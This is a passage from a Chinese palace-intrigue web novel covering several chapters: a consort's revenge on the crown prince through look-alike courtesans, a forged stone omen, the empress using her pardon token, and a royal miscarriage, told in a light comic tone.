听着这一溜串的名字,司徒澈皱了皱眉:“这些…好像都是太子的侍妾吧?你找这么多神似太子侍妾的女子作甚?” 顾若雪悠然一笑,眼底划过一丝幽冷的光:“太子不是喜欢拿女子清白说事么?妾身就多找些这样的女子送人,让朝中官员都尝尝太子的喜好。” 司徒澈:“??” 司徒澈:“!!” 你这可真是…损呐! 试想一下,司徒霄的女人,朝中上下官员家里都有一位同款,这… 司徒霄会被气死吧? 司徒澈猛然想起秦芷嫣说过的话,觉得真踏马太对了。 千万别小看任何一个女人,特别是后宅的女人。 她们真狠起来,都没男人啥事了。 顾若雪见他脸色古怪,心下一个咯噔,开始忐忑了:“王爷是不是觉得妾身太坏了?” “没…”司徒澈回过神来,轻咳一声:“你也是帮蕊蕊出气,替本王分忧。” 只要不是用这种手段对付我,我都ok的。 不过话又说回来,比起唐娆,顾若雪也算比较温柔的。 唐娆才是真的狠,小小一粒逍遥丸,都把北狄全国上下毁得七七八八了。 上次他追着线索去北狄找唐蕊,沿路看到很多北狄人为了买逍遥丸倾家荡产,大雪天的还坐在街头乞讨。 真惨! 实惨! 想到唐娆,司徒澈就忍不住唇角上翘。 那女人能忍能狠,胆大心细,机智聪慧,武功又好,居然能与他打成平手。 从小到大,他遇到过无数贵女,却从没见过唐娆那一款的。 不愧是南蛮皇太女,心智手段都非常人。 顾若雪却误以为司徒澈是在对她笑,心下稍安,羞涩的窝进他怀里,脑袋枕着他的胸口:“王爷不怪妾身就好,妾身也见不得蕊蕊被欺负。” “本王知道你疼蕊蕊…”司徒澈回过神来,迟疑片刻还是抬手搂住她,脸上的笑却淡了些许:“不光是你,你们姐妹几个都疼蕊蕊,这么下去不得把她惯坏了?” “女子本就要娇养,蕊蕊贵为郡主,怎么宠都是应该的…” 顾若雪感受到了他的迟疑,离开他的怀抱,突然问出了一个风马牛不相及的问题:“爷,您此次去北狄,是不是遇到蕊蕊的生母了?” 司徒澈闻言脸色微变,很快又冷静下来:“你知道得不少!” 唐娆的事只有秦芷嫣才知道,顾若雪又是从哪里听说的? 秦芷嫣告诉她的? 这个想法一出就被司徒澈否决了。 秦芷嫣不是那么拎不清的人! 顾若雪:“…” 没好意思说,她就像一只见不得光的老鼠,天天躲在阴暗的角落窥探着司徒澈这块鲜排骨。 大到唐娆的事,小到他的亵裤色儿都知道。 顾若雪垂下眼眸,不敢去看司徒澈:“妾身不知道该怎么形容自己的心情,妾身有时候也觉得自己太过偏激,王爷的什么事都想知道,有时候也会忍不住嫉妒府里的姐妹们。妾身…只是…只是…太爱王爷,时时刻刻都想看到王爷,妾身不是王爷的正妃,没资格做王爷的贤内助,妾身只能退一步,希望能成为王爷的知己。” 司徒澈:“…” 突然想起有一次送唐蕊去国学监,唐蕊偶然间说起的星座问题。 糟糕!! 顾若雪的生辰好像是那最变态什么蝎子座来着。 顾若雪没听到他说话,脑袋垂得更低了:“王爷…是不是觉得妾身很可怕?妾身也知道自己可怕,妾身喜欢一个人,就想彻底的…占有他…妾身也知道自己的想法不对劲,可妾身控制不住自己。” “…”对于变态,要顺毛薅,要让她们觉得满足,要时常安抚。 司徒澈谨记唐蕊的真言,叹息一声,伸手把她搂入怀中,温声安抚道:“我没觉得你可怕,相反的,你能如此看重我司徒澈,我觉得很荣幸。” 顾若雪诧异了一瞬,抬起头来:“真的吗?” 司徒澈笑着点头:“以后我会多抽时间陪你,芷嫣若是生下麟儿,你也不用再喝避子汤了。” “!!”这是允许她第二个怀孕了? 顾若雪眼睛一亮,可一想到打听来的唐娆的事,又有点小郁闷了:“妾身谢谢爷,可爷还没说,这次去北狄,是不是见着蕊蕊的生母了?她…是个怎样的女子?” “…”换成旁人忽悠一下就行了。 但顾若雪又不蠢,忽悠成功的几率不大。 司徒澈沉吟片刻,组织了一下语言才道:“既然你说了要做本王的知己,那本王也不会瞒着你。唐娆…是本王见过最特别的女子,或许也是唯一能与本王并肩的女子。” 顾若雪闻言眼底的光瞬间熄灭,一丝嫉妒一闪而逝。 司徒澈看到了也当做没看到,继续说道:“也是因为如此,本王与她不会有结果。” 顾若雪诧异的抬起头来:“为何?” 第146章 反击三连环 司徒澈笑了笑,抬眸看着空中的明月:“都说王不见王,你觉得是为何?我若为王,唐娆也必定是王,绝不会成为我的后。不仅如此…” 说到这,司徒澈又看向她:“你想了解唐娆也简单,本王只告诉你,若唐娆是男儿身,你心仪的也许就不会是本王了。” “妾身好像明白了…”顾若雪喃喃道。 能得司徒澈如此评价,那就只能说明,唐娆很强大! 她不是菟丝花,需要依附男人生存。 不管是能力还是智力与武力,她都与司徒澈不相上下。 司徒澈抿唇一笑:“还嫉妒吗?” 顾若雪摇了摇头:“不嫉妒,还想认识认识她,只要不抢王爷,妾身就不会生气。” 司徒澈无语的捏了捏她的鼻子:“…敢把嫉妒摆在明面上的,也只有你了。” 顾若雪羞涩一笑,握住他的手:“也只有王爷,会包容妾身的小脾气,换成其他男子,早就冷落妾身了。” 司徒澈:“…”不包容能咋办?你不得闹得我后宅不宁? 唐娆不会入府,顾若雪心里松快了,踮起脚尖亲了亲司徒澈的侧脸,微红着小脸凑到他耳边吐气如兰:“王爷,今晚要不要歇在妾身院里?妾身前两天特意回了一趟丞相府,找娘亲要了一本…图册…定让王爷…舒坦…” 司徒澈:“…”你还记得你人淡如菊的人设么? 唉… 作为一个好丈夫,要喂饱自己的女人。 就算累成了狗,也不能说自己不行! 司徒澈笑了笑,打横抱起她步入房中。 顾若雪羞得不行,小脸埋进了他怀里。 … 霜蓉动作很快。 不过几天,京城各家青楼都出现了一群新人。 这些新人可有意思了,有像陈姬的,有像吴姬的… 不光是长得像,一言一行,说话语气都很像! 被这些女人围着,一时间感觉自己都化身为一国储君,风光无二。 最关键的是,这些女子还很便宜! 一时间,青楼生意爆火! 各家权贵甚至还贴心的给这些女人贴上了爱称——东姬。 暗指东宫的姬妾。 每天上朝的时候,只要尝试过东姬滋味的大臣们,都朝司徒霄投去意味深长的视线。 司徒霄一头雾水,一开始还没反应过来了。 直到他有天,他听说了东姬的大名,并出宫见识过了东姬… 能想象吗?与他最宠爱的陈姬长着一模一样的脸,一模一样的走路姿势,一模一样的说话语气的女人,羞涩的窝在别的男人怀中的场景! 司徒霄不知道别人气不气,他反正气得都快裂开了,差点一把火烧了那个青楼,几天下来看到自己院儿里的女人都觉得反胃,连最爱的陈姬都冷落了。 可后来他又发现,不止那一家青楼有东姬。 司徒霄头顶冒烟,还带着一大片青青草原,听说当晚就跑进皇帝寝宫,叫醒已经睡下的皇帝,参了这些大人一本。 这下可捅了马蜂窝了。 文武百官那是多少人?东姬又这么出名,谁没见识过? 司徒霄这一搞,几乎把满朝文武得罪了个遍。 可他却还不解气,第二天就在朝堂上严辞要求更改大夏律法,得加上一条,禁止官员逛青楼。 文武百官们:“…”尼玛的! 晚上唯一的娱乐地点就是青楼,你给我们禁了,人生还有什么乐趣? 我们辛辛苦苦科考做官,是来做和尚的吗? 最踏马让这些大臣心冷的是,皇帝居然破天荒答应了司徒霄这种无理的要求! 也是! 皇帝巴不得司徒霄得罪人呢,怎么可能不满足他! 大臣们气死,却又把司徒霄没办法。 毕竟人家说得头头是道,反驳不了。 然而,司徒霄的脑瓜子始终不如顾若雪。 收到这个消息后,顾若雪微微一笑:“太子说得很对,为官者,最忌玩物丧志,那…就把东姬送上门去,让大臣们纳了这些东姬不就好了?人家跟小妾恩爱,太子总管不着了吧?” “是!”霜蓉一脸麻木,赶紧去办了。 于是,就在司徒霄以为东姬事件过去之时,一个个东姬被一顶顶小轿抬进了各大朝臣府邸。 渐渐的,官员之间还流行起互送东姬。 这年头,你去人家家里吃饭,不送个东姬都说不过去。 司徒霄得知这消息时,眼前一黑,成功被气晕! 等他再次醒来的时候,已经彻底沦为笑料。 我玩不了的女人,嘿…你猜怎么着?我找了个同款的,四舍五入就等于我也玩过了。 就问你气不气? 司徒霄气炸了,天天在东宫无能狂怒,却又没有破局之法。 毕竟人家是光明正大的跟小妾玩,就算是太子也管不着啊! 你能禁止官员逛青楼,难道还能禁止人家纳妾么? 就在司徒霄焦头烂额之时,司徒澈埋下的线也启动了。 这天,旭日东升,一个农户在自家田里挖了块石碑出来。 石碑泥土斑斑,看上去有些年头了。 上的八个金子,在阳光照耀下格外清晰——皇天枯荣,千霄凌云! 农户不识字,还以为挖到了宝,扛着石碑哼哧哼哧去了当铺,想要换点银子。 可当铺的人识字啊! 一看这八个大字,差点闪瞎他的钛合金狗眼! 农户丝毫不知他心里的惊涛骇浪,还在不停推销:“这是俺从俺地里挖出来的,俺家几代都是种田的,这石碑肯定是天降的宝物,是老天爷赐下的。” 掌柜的:“…”求别说了,我想死啊! 掌柜的腿开始软了,浑身开始抖了,恨不得吞一瓶速效救心丸! 农户见他一直不说话,眉头直皱:“掌柜的,您看看值不值钱啊!” “不,不不不,不不不…”掌柜的一脸说了好几个不,吓得面无人色:“不值钱不值钱…” “啊?怎么可能?你再看看!” “不不不,送客,送客…” 掌柜的说到最后都破音了。 小二赶紧把农户撵了出去,掌柜又赶紧让他去通知顺天府。 于是,农户正要出城的时候,就被睿王拦住了。 睿王黑着脸看了看那块石碑,又抬头看了看老天,最后甩了甩头,自言自语:“不可能,老天爷才没这么瞎,肯定是太子自导自演的戏码!” 第147章 用掉唯一的底牌 他都这么认为,更别说其他人了。 很快,石碑通过他的手被抬上了金銮殿! 皇帝看着那块石碑,脸色前所未有的难看。 保皇党一派面面相觑。 太子党还以为是太子自导自演,第一时间配合,纷纷出列高呼:“皇上,这是苍天预示啊!太子德才兼备,前无古人后无来者,实乃我大夏之幸事。” 司徒澈微不可见的笑了笑,眼底划过一丝讥讽之色。 太子蠢,能选择他的大臣也不太聪明的样子。 父皇脾气再好,也是一国之君。 为君者,卧榻之侧岂容他人鼾睡? 果然… 皇帝都气笑了,指着那块石碑:“所以你们的意思是,朕当退位让贤?” 太子党一噎,诚惶诚恐跪了一地:“皇上恕罪,臣等绝无此意!” “绝无此意?很好,很好…太子,你的聪明才智都用到这些歪门邪道上来了,还皇天枯荣千霄凌云?你怎么不干脆弄块皇天已死的石碑?”皇帝说到最后暴怒,抓起茶盏砸了过去。 碎片飞溅,司徒霄吓得后退几步,一脸愕然。 皇帝见他这样越发来气,怒喝出声:“你还敢躲?朕还没死呢,你就这么迫不及待了?” 司徒霄赶紧跪下,着急解释:“父皇,这块石碑不是出自儿臣之手!” 殊不知,皇帝已经认定是他了。 他的解释在皇帝看来都是掩饰。 “不是出自你的手,那别人呢?比如你那处处为你着想,到处拉拢朝臣的好母后,又比如这些个嚷嚷着苍天预示的朝臣!”皇帝几连问,成功把太子噎住了。 司徒霄也开始自我怀疑起来。 是啊! 这种事,母后做得出来哦! “太子,不贤不孝,大逆不道,闭门思过,无召不得出!”皇帝扔下这话,拂袖离开! 司徒霄腿一软跌坐在地,满脸茫然。 突然,他灵光一闪,猛的抬头看向司徒澈。 司徒澈却毫不知情的样子,看着他,跟辰王交头接耳,时而皱眉,时而摇头! 司徒霄见他这样又迷糊了! 不是司徒澈吗? 那…到底是谁? 难道真是母后? 司徒霄脑子一片乱麻,失魂落魄站起身来。 还没离开大殿,有个侍卫便跑到睿王耳边说了几句话。 睿王眉头一皱,当即叫住了正要离开的司徒霄:“太子,聚贤阁是你名下的铺子吧?” 司徒霄皱了皱眉:“你怎么知道?” 睿王很是心累:“你的聚贤阁闹出了人命,苦主现在正带着亲人的尸体在顺天府大门口闹呢!你啊,随我走一趟吧!” 司徒霄本就心情不好,想都没想脱口而出:“孤的聚贤阁没问题,一介贱民,还不知道怎么死的,也值得孤跑一趟?” 听到他这话的官员们:“…” “哦,那随你,我反正会公事公办!”睿王懒得搭理他,白了他一眼快步离开了。 司徒霄现在根本就没心情去管一个贱民的生死,当即去了凤仪宫找皇后求助了。 由于他的不作为,睿王直接判定聚贤阁有罪,赔偿人家损失。 赔钱是小事,可聚贤阁的名声臭了,还连累了司徒霄的名声。 特别是他说的那句‘一介贱民,还不知道怎么死的,也值得孤跑一趟’的话,在司徒澈的操作下流出了宫外。 百姓们愤怒的同时,对司徒霄也无比失望! 大夏的储君是这样的人,这还没上位就如此轻贱老百姓,等他上了位,百姓们得过什么日子? 渐渐的,反对太子的声音越来越大。 等司徒霄回过神来的时候,已经民怨沸腾了。 皇后没想到他这么无用,劈头盖脸把他一顿骂,又推了个替死鬼出去,把这事定义为仇杀。 也许是因为底层的人享受高高在上的人掉入凡尘的戏码,又或许是司徒霄真的太过分,反正没几个老百姓买账。 因为这事,百姓们也有了新的谈资,唐蕊的事倒是没什么人议论了。 这天上朝,御史大夫开始弹劾司徒霄,德不配位,第一次当众提起废太子的事。 太子党的官员急了,纷纷出列维护司徒霄。 保皇党的官员们也齐齐上阵。 双方人马吵得不可开交! 皇帝端坐高位,静静的看着两方人马争吵。 直到他觉得差不多的时候,扫了一眼旁边的陈德福:“陈德福,传朕旨意,太子…” “皇后娘娘到!” 关键时刻,皇后居然出现在朝堂上,衣着华贵,双手捧着皇帝当年赐下的免死金牌。 皇帝…脸都黑了,心里的小人把皇后骂了个狗血淋头。 皇后故作看不出,跪下高捧着免死金牌,掷地有声:“皇上,太子无能,让皇上失望,臣妾也很痛心,但易储一事事关江山社稷,太子到底是您的嫡长子。臣妾愿奉上免死金牌,也会让太子下罪己书平复民怨,望皇上再给太子一次机会!” 皇帝危险的眯起眼眸:“皇后,你确定要用这块免死金牌,保太子一次?” “是!”皇后这个字说得咬牙切齿! 她也不想用掉唯一的底牌,但她没得选择了。 自杀已经威胁不到皇帝,她只能如此! “那朕就再给他一次机会!”皇帝抬了抬手。 陈德福赶紧上前,收回了免死金牌。 皇帝定定的看着皇后,再次开口:“皇后,朕知你爱子心切,但太子无才无德,实在不宜为储。你可以回头看看别的儿子,朕也不止他一个嫡子,不是吗?” 这话已经说得非常明白了。 但… 皇后抬眸扫了司徒澈一眼,很快又收回视线,直视着皇帝:“皇上,您是不止一个嫡子,但在臣妾心中,就只有霄儿这一个儿子。” 司徒澈面无表情,听到了也当没听到。 他对这个生母早就死心了,也不会再为她的只言片语难过。 谈判失败! 皇帝眼底划过一丝失望,疲惫的挥了挥手:“下去吧!罪己书就免了!” 罪己书和罪己诏就差一个字,他听着别扭! “多谢皇上!那…今年祭天,能否让太子操持,将功赎过?”皇后再次开口! 满朝文武皆惊! 皇帝眼底划过一丝暗光:“允!” 第148章 这是他亲亲宝贝儿子的手笔 司徒家祭天很麻烦,得斋戒七日,每日一洗,然后前去祭天台祭苍天。 这还没完,祭天过程是诵经三日不吃不喝,求得苍天垂怜,让大夏土地无灾无祸。 万一有了灾,就不是皇帝不仁德,而是那祭天之人不被苍天肯定,惹了天怒。 万一无灾,那就是皇上仁德。 当然,祭天之人也是上苍肯定之人,能增添几分好名声。 他年纪大了,最是受不了这种吃力不讨好活儿。 往年司徒澈没瘸的时候,都是司徒澈去。 后来司徒澈瘸了,就是辰王或睿王顶上。 至于太子,从不沾边! 看来这次民怨之事让皇后急了,忍痛把太子推出来,想让太子涨涨好名声。 毕竟,大夏多年来一直风调雨顺,也无天灾。 但皇后不知道,钦天监的人早就找过他了,说今年或许有大灾。 呵,皇帝还在愁让谁背锅呢,太子这个时候撞上来背锅,正好。 打发走皇后,皇帝收回目光,不动声色瞪了司徒澈一眼。 别以为他不知道,东姬和聚贤阁这些事儿… 好吧,一开始他是不知道,可龙隐卫调查回来后,他才知道,这是他亲亲宝贝儿子和丞相家孙女的手笔。 臭小子,胆子越来越大了! 连带着身边的女人胆子也这么大! 接收到他眼神的司徒澈冲他咧嘴一笑,露出一口大白牙晃呀晃,晃得皇帝都没眼看了。 … 下了朝,辰王追上了司徒澈,与他平行:“往年祭天父皇都让我或老五去,这次居然同意了皇后的请求,我以为他会让你去的。” 司徒澈抿唇一笑:“三皇兄,父皇有父皇的考量,我们做儿子的,听着就是了。” “也是!”辰王点点头,不再去揣测圣意,笑着说道:“祭天之事,府中女眷也要随行,无需三日也要一日,听说你的王妃有了身孕,昭华又还那么小,也不知她们撑不撑得住。” 司徒澈眉头微蹙,微微颔首:“多谢三皇兄提醒,算算日子,内子也是祭天前后生产,那日我会让府中大夫随行!” 皇室祭天是为万民谋福祉,不去的话,要是出了什么纰漏,那还不得成为背锅侠? 所以,哪怕再不想秦芷嫣大着肚子受罪,也要去装装样子。 “那最好不过!”说起大夫,辰王便顺势提起唐蕊:“带上昭华就够了,不知为何,只要昭华在,我就很安心!” “…”你也在担心你儿子的身体吧? 司徒澈听出了他的言外之意,正色道:“三皇兄放心,我回去后会跟昭华说说,祭天那一天就让她跟着郯儿。” “多谢!”辰王无奈一叹:“郯儿最近状态很好,可你三嫂还是不放心,这不,自从昭华被掳后,她日夜担惊受怕,连国学监都不让郯儿去了。郯儿天天被她关在府中,好生无聊。” 司徒澈笑道:“回去后我问问昭华,她要是愿意,明日我就送她去你府上。” “那好,郯儿还一直念叨着她呢!”目的一一达到,辰王扬唇一笑,拍了拍他的肩:“你刚接手兵部,想来也很忙碌,要是昭华愿意来,不用你送,我让人去接就是。” “三皇兄派出的人,我自然放心!” 说是这么说,司徒澈可一点都不放心。 与辰王分别,回到府中后,他立刻去了翠微阁,转达辰王的意思。 唐蕊听完一脸无语:“你们说话那么累哦?不就是郯堂兄知道外面的流言,担心我么,我明天去找他玩就是啦!” “…”什么叫累,以为谁都跟你一样,说个话那么直? 司徒澈虎着脸道:“明日爹爹会让明月暗中跟着你,你呢,去库房选了礼物带去,不可空着手上门,太失礼了。” “知道啦!”唐蕊说罢小大人似的叹了口气,自以为帅气的一甩头发,很是油腻道:“没办法,谁让我人见人爱,花见花开呢,这就是人格魅力!” “…”还是要点脸吧! “一会儿来你母妃院儿里用膳!”司徒澈弹了下她的脑瓜崩,背着手离开了。 唐蕊摸了摸额头,又揉了揉圆滚滚的肚子,犯了难:“可我刚刚才去膳房偷吃了哦,有点吃不下了也!” 幻蝶好笑道:“那郡主,晚膳是不是要省了呢?” “不行!”唐蕊想都没想到一口回绝:“这世上唯有美食与美色不可辜负,我不会错过任何一口属于我的饭!” 幻蝶没忍住,噗嗤一下笑出声来。 “把我的粉色裙裙换上,那个可爱,换完咱们去母妃那吃饭饭!”唐蕊小手一挥,幻蝶立刻行动。 粉色裙裙是她为成衣铺画的第一张衣稿,也是她一直都想尝试的风格。 彻底唐化的襦裙,不像大夏女子服饰,把脖子遮得严严实实的。 这间襦裙脖子都露出来的,还特意设计的倒三角,看上去脖子纤细修长。 唐蕊为了追求可爱,还在裙摆加了一些丝绸卷起来的玫瑰,每朵玫瑰花蕊里都镶嵌着淡粉色的珍珠。 幻蝶看唐蕊换上,整个大变样,眼底只剩惊叹:“郡主画的衣服真好看,就像是小仙子似的。” “还行!”唐蕊对着镜子照了照,这才评价:“跟我想象的有点不一样,领口还可以开下来一些,外面的轻纱太厚了点,把里面的襦裙都遮住了,体现不出我想要的感觉哦。” 幻蝶无奈道:“郡主,轻纱再薄就能看清您的胳膊和肩背了,这…有些不合适,王妃不会答应的。” 唐蕊无语的瞅了她一眼,很快又收回视线,继续照镜子。 世间万事万物都各有各的美,西方那些学画画的还有人画光溜溜呢! 说白了,心里脏的人看什么都脏,就算把自己捂得严严实实,他还是能在脑子里YY你没穿衣服是什么样子。 罢了罢了,这里不是现代,不能用现代女性的眼光来看这个时代的女性与环境大潮流。 再说了,就算是现代,还有些猥亵女孩子的男人会臭不要脸理直气壮的跟帽子叔叔说:她们穿成这样,不就是勾引人之类的话呢! 人心险恶,保守就保守吧! “走吧!”唐蕊勉强满意,穿着新衣服蹦蹦跳跳带着幻蝶前往秦芷嫣的小院儿。 所过之处,府里的奴才们纷纷停下脚步,看稀奇似的。 唐蕊偶尔还能听到几句‘郡主这衣裙真好看。’‘本来就白,这一穿更白了。’‘小仙子…’ 哦呵呵… 爱听,多说! 就在这时,唐蕊不经意间看到了一个熟悉的人,正蹑手蹑脚跟在王府某个奴才身后,仅剩的一个胳膊还提着一个菜篮子,里面放着满满的菜叶子。 第149章 我本来就喜欢吃东葵啊 那人也看到了唐蕊,当即停了下来,扑通一声跪下,跟喊口号似的:“郡主万安!” 前面带路的奴才被他吓了一跳,正想呵斥几句,就看到了唐蕊,也赶紧点头哈腰:“郡主,你穿得真好看,我差点都没认出来。” “别贫!”唐蕊来到两人面前,看向那个男人:“你是…二狗?” “回郡主,是小人!”二狗很紧张,手心都冒汗了。 带路的奴才也道:“回郡主,这人是叫二狗,前些日子您…嘿嘿…是他提供了线索,睿王殿下才抓到刘姬,这不…当初李庶妃说过要重金悬赏提供消息的人,此人提供了这么重要的消息,却一直都不要李庶妃给的赏钱,今儿个李庶妃特意把他叫来府中问话了。” “…”呵呵,李庶母八成是觉得这人不要银子是看不起她吧! 不过话又说回来,唐蕊倒是不知道这一茬,让二狗起身后,这才好奇道:“你为什么不要李庶母的赏银?” 二狗脑袋垂得很低,紧紧的捏着菜篮子:“回郡主,小的提供消息是为了报答郡主恩情,并不是为了银子。” 恩情? 唐蕊看了一眼他的断臂处,眼尾抽了抽:“我的人可是砍了你一条胳膊,你不恨我,还说这是恩情?” 唐蕊就差没问,你是不是有什么大病了。 二狗顺着她的视线看了看自己的断臂,眼底黯然一闪而逝:“回郡主,小的当初急需用银子,不知是郡主才会冒犯,郡主不计前嫌,没有把小的送官,反倒给了小的银钱,让小的医治老母,这对小的而言,是天大的恩德,小的感激都来不及,又怎么会恨郡主?” 绑架郡主,要是送官的话,别说胳膊了,他脑袋都会搬家! 唐蕊对他是真的手下留情了! 要怪,就怪那个胡说八道不安好心的刘姬! “…”好吧! 不恨我就行! 别人释放善意,唐蕊也不会不给面子:“你母亲呢?病可好了哦?” “回郡主,老母的病好了,就是…”说到这,二狗局促起来,支支吾吾,脸都红了。 唐蕊好奇心都被他勾起来:“你有话就说哦,不用害怕!” “是…”二狗咬咬牙,眼睛一闭,把提着的菜篮子往唐蕊一递:“我娘知道我要来璃王府,特意让我带来孝敬您,还说…说都是家里自己种的,非常新鲜,希望郡主别嫌弃…” 一旁的奴才噗嗤一声笑出声来,后知后觉唐蕊还在,又赶紧收敛了笑意,只是那眼底的不屑赤裸裸的。 唐蕊贵为郡主,吃的都是山珍海味,看得上你这几根烂菜叶吗? 二狗也是这么想的,听到这奴才的笑声,一张脸更红了,恨不得找个地缝钻进去。 他都说不用送了,可老娘坚持要他带来,他有啥办法啊! 然而… 唐蕊看了看菜篮子,哇哦一声,双眼放光:“真是给我的吗?” “啊?是…是是…”二狗愣了愣,有些拿不准唐蕊这反应是啥情况了。 他想象中的唐蕊肯定会嫌弃,甚至会发脾气。 可这…怎么跟他想的不一样? “我瞅瞅,这是…东葵菜吧?”唐蕊拿起一根菜叶子,很快就认了出来:“还是嫩稍部分,哇,几乎都是嫩稍部分,你母亲真是有心了!” 唐蕊说罢,双手接过菜篮子,很是真诚道:“麻烦你替我谢谢她,我很喜欢哦!” “喜欢就好,喜欢就好!”二狗心里暖暖的,刚刚的尴尬和局促瞬间消失不见:“郡主要是喜欢,以后我常常给您送,我家种了很多东葵菜!” 偶尔送一次就算了,常送哪里行:“那不行,不能白要你的,这样吧,一会儿我跟母妃说一声,你送来的菜,璃王府按市价收购就行啦!” “不用不用…” “那我就不要!” 唐蕊打断他的话,又道:“这次就算了,是你的谢礼,我必须得收下。以后你家里要是有多的菜,就送璃王府来,如果我白要你的,那御史大人还不得弹劾我爹呀?你说是不是?” “是…郡主说得对,说得对…”二狗说着说着,眼眶都红了。 他哪里不知道,唐蕊是故意这么说的! 菜不值钱,他这个人在唐蕊面前也不值钱。 难得的是唐蕊愿意尊重他这个人! 明明贵为郡主,却一点都没架子,如此平易近人,也不会像那些权贵一样看不起他们这种小老百姓。 还会拐着弯的让给他和老母亲多一份收入。 世上怎么会有这么善良的女娃娃? 二狗现在看唐蕊都感觉她周身在发光,俨然成了她的头号小迷弟。 “郡主放心,以后家里要是有多的,小的就给您送来。” “好哇,谢谢你哦!” 一旁的奴才:“…”此时大气都不敢喘,也是真没想到唐蕊真爱吃这种菜。 直到唐蕊让他送二狗离开,他这才默默的松了一口气,再也不敢轻视二狗。 幻蝶接过菜篮子,笑容温和:“郡主纯善,实在难得!” “才不是哦,我本来就喜欢吃东葵啊!”唐蕊白了她一眼,轻哼一声蹦蹦跳跳的跑了。 幻蝶摇了摇头,赶紧追了上去。 还喜欢吃东葵呢! 全府上下,谁不知道唐蕊是肉食动物。 别说菜叶子了,大米饭都不喜欢吃。 … 来到秦芷嫣院里,秦芷嫣看到她穿的衣服,好一番赞叹,连连夸她眼光好,夸得唐蕊都不好意思了。 哪里是她眼光好,这都是龙国老祖宗们的审美。 唐蕊趁着她高兴,又跟她提了下二狗的事。 这种小事,秦芷嫣自然满足。 没一会儿司徒澈也来了,一家三口其乐融融吃完了饭,唐蕊顺便给秦芷嫣把了个脉,就自觉滚蛋,不当电灯泡了。 翌日,唐蕊睡到日上三竿,这才起床洗漱,出发去辰王府。 一段时间不见辰王妃,她气色倒是好了很多,见到唐蕊依很是欢喜。 无精打采被关得快发霉的司徒郯听到唐蕊来了,一个鲤鱼打挺翻身而起,风一般的跑了出去。 见着唐蕊后,拉着她好一番打量,嘴里还不停叭叭。 第150章 睿王妃流产 无非就是‘还好不好’,‘那些劫匪有没有欺负你’,‘有没有受伤’云云… 唐蕊耐心一一回答,见他放松下来,才问起他的身体情况。 司徒郯嘿嘿一笑:“我挺好的,就是被关在府里,有些无聊。” 辰王妃瞪了儿子一眼:“你还无聊?今天放风筝,明天闹腾着要骑马,辰王府差点都被你搞翻天了!” 司徒郯急了:“母妃,你怎么揭儿子的短呢?这不是无聊么!” 唐蕊还在这呢,他是哥哥,要形象的! “好好好,母妃不说了!”辰王妃把这个儿子没办法。 不过,儿子身体越来越好,就跟正常孩子一样,哪怕把府里搞得鸡飞狗跳,她也挺开心的。 辰王妃看向唐蕊,眼神温和:“昭华,前不久皇上册封郯儿为世子的圣旨已经下来了,皇婶也在给他相看亲事了。其实今天请你来,也是想让你帮忙过过眼。” “哈?”唐蕊惊呆了,指着自己的鼻子:“让我过眼?三皇婶,你找找错人了叭?” 这种事,不是应该找她的母妃或者其他几位皇婶吗? 她一个堂妹来给堂哥长眼,这是什么道理? 辰王妃笑眯眯道:“没错的,你可是小福星,你觉得好的,肯定坏不了。” 唐蕊:“…”还真把我当福星了啊? 那找得不好,难道还怪我头上? 唐蕊想罢工了! “王妃,不好了!”一个侍婢突然急匆匆的跑了进来:“睿王妃小产了!” “什么?”辰王妃脸色骤变,猛的站起身来:“怎么回事?” 侍婢急道:“奴婢也不知道,刚刚睿王府来人说的,睿王已经进宫去找御医了,还说睿王府现在群龙无首,睿王妃谁都不信,想请您过去主持大局。” 谁让,睿王府和辰王府距离最近呢! 睿王妃和辰王妃两个妯娌的关系也不错! “好,你去叫府医跟本妃一起过去!”辰王妃说罢就往外走,刚走两步又停了下来,看向唐蕊,言语间都带着一丝小心翼翼:“昭华…你…要不要跟皇婶一起去看看?” 唐蕊毕竟是出自神医谷,还让郯儿活蹦乱跳的。 在辰王妃心里,唐蕊年纪虽小,医术却比御医都好的。 “好叭!”唐蕊闲着也没事,吃吃瓜也不错。 司徒郯一脸懵逼:“母妃,那我呢?” “你什么你?你好好待在家中,去了也帮不上什么忙!”辰王妃瞪了他一眼,牵着唐蕊快步离开。 司徒郯嘴巴一瘪,有些想哭。 他在府里待得都要发霉了,也想出去玩玩啊! … 睿王府,云霓院,正是睿王妃住的地方。 辰王妃带着唐蕊来时,这里已经乱得不成样子了。 几个庶妃小妾站在门外窃窃私语,一个个脸上幸灾乐祸。 府里的下人们忙进忙出,老嬷嬷血水一盆又一盆往外端。 屋里传来睿王妃撕心裂肺的哭喊声,声声凄厉。 还有司徒妍和司徒月这两个嫡女,倒像是很关心睿王妃,不停往屋里瞧,很是着急。 唐蕊记了一下这些人的神色,几个庶妃小妾也发现了辰王妃,立刻收敛神色。 为首的陶庶妃朝辰王妃福了福身子,表面恭谦,脸上却并无多少恭顺之色:“辰王妃怎么来了?咱们睿王府是没人了吗?” “你一个庶妃算什么人?滚开!”辰王妃一点面子都不给,扔下一句便冲进了屋。 陶庶妃眸色微冷,淡淡瞥了一眼辰王妃的背影,优雅的翻了个白眼,阴阳怪气:“干脆让给爷把咱们门口的匾额换成辰王府算了。” 此言一出,立刻得到周围侍妾的附和。 唐蕊:“…”呃这…睿王叔的内宅…好像有亿点点复杂啊! 幻蝶自从伺候唐蕊开始,早就把这些东家长李家短的事打听清楚了,凑到她耳边小声道:“睿王没有立侧妃,府中有王妃一人,庶妃一人,剩下都是贵妾侍妾或贱妾。刚刚那位跟辰王妃说话的,是大名鼎鼎的陶庶妃,很得睿王宠爱,府中虽有王妃,可其他侍妾却更服陶庶妃。” “…”宠妾灭妻? 唐蕊眉头微蹙:“什么叫大名鼎鼎的陶庶妃哦?” “这事说来话长…” 陶氏虽是庶妃,却是睿王的青梅竹马,非常受宠。 睿王原配死了以后,陶庶妃本以为自己能上位。 结果睿王的母妃看不上她的出身,另为睿王娶了昌平候嫡女,也就是现在的睿王妃。 两个女人平时明争暗斗,非常热闹。 直到四个月前,陶庶妃小产后,这种斗争更是达到了巅峰。 陶庶妃一直都认为,她小产是因为睿王妃,怀恨在心。 “所以…”说到这,幻蝶打住了。 唐蕊却听懂了:“所以你觉得,五皇婶这一胎,是人为?” 幻蝶低眉顺眼:“这只是奴婢的猜测!毕竟睿王这人…说句不好听的,跟我们王爷没法比。” 睿王能力不算出众,多年来掌管顺天府,若要评价也只是中规中矩没有出错。 睿王的后院,众所周知也是几个王爷当中最热闹的。 王妃和庶妃分庭抗礼,这种事放在别的王爷府中几乎是不可能的事。 更别说,下面还有十几个小妾。 出身更是各种各样五花八门。 